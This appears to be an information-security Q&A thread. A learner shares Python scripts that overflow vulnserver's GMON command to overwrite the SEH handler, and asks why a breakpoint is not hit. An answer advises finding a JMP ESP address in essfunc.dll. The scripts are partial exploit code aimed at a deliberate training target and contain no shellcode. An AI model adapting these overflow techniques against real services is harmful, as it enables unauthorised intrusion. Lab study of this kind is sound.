2

I've downloaded vulnserver and I want to exploit it using SEH. I managed to overwrite SE Handler successfully, here is the code that I'm using to exploit this program:

import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.0.15',9999))

payload = 'GMON /' 
payload += 'A' * (3518)
payload += 'B'*4                # pointer to next SEH record
payload += 'C'*4                # SEH overwrite
payload += 'D'*(5000-len(payload))


s.send(payload)
s.recv(1024)
s.close()

The registers look like this:
registers
And here is the stack:
stack


After that I run !mona seh to find a suitable dll to use, and chose the first one.
seh


My payload now looks like this

import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.0.15',9999))


payload = 'GMON /' 
payload += 'A' * (3518)
payload += '\xcc'*4                     # payload to next SEH record
payload += '\xb4\x10\x50\x62'           # SEH overwrite
payload += 'D'*(5000-len(payload))


s.send(payload)
s.recv(1024)
s.close()

After I run it, this is what the stack and registers look like:
registers1


stack1

Why doesn't it hit breakpoint?

I'm working on Windows 7.

  • Can you please explain how the question is related to Information Security? The contents might but your question is "Why doesnt it hit breakpoint?" not exactly related here. – J.J May 11 '18 at 11:11
  • @JoshJones since im trying to exploit it, i believe it is suitable for information security – Tryna Learn Somethin May 11 '18 at 11:14
  • As I said the contents of this is related yes. I'm just not sure your question is. You're asking why it's not hitting the breakpoint - I don't believe that question to be related here. – J.J May 11 '18 at 11:14
  • @TrynaLearnSomethin Josh Jones is correct here. This is not really an Information Security question in the given context, even though everything but the question is. In the context you're providing, it's more of a superuser issue. – Mark Buffalo May 12 '18 at 1:09
1

You may be calling the wrong address

My assembly skills are a little rusty, but I think you are trying to include the address of the DLL loaded in memory (625010b4), and not an actual address which would allow you to jump to your shellcode to exploit the buffer overflow. You also do not have any shellcode. With these issues, even if you fixed the breakpoint problem, you're not going to get a working exploit.

Open essfunc.dll in your immunity debugger and search for a JMP ESP instruction and jump directly to that instruction set within memory. Include that memory address instead, not \xb4\x10\x50\x62.


Breakpoint problem.

As for why it doesn't trigger the breakpoint... can you clarify that?

  • Where is your breakpoint set?

  • Is the program not crashing, and therefore not triggering the breakpoint?

  • Are you actually running the program in the debugger?

  • Have you pressed the "play" icon? Is the program running in the debugger?

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.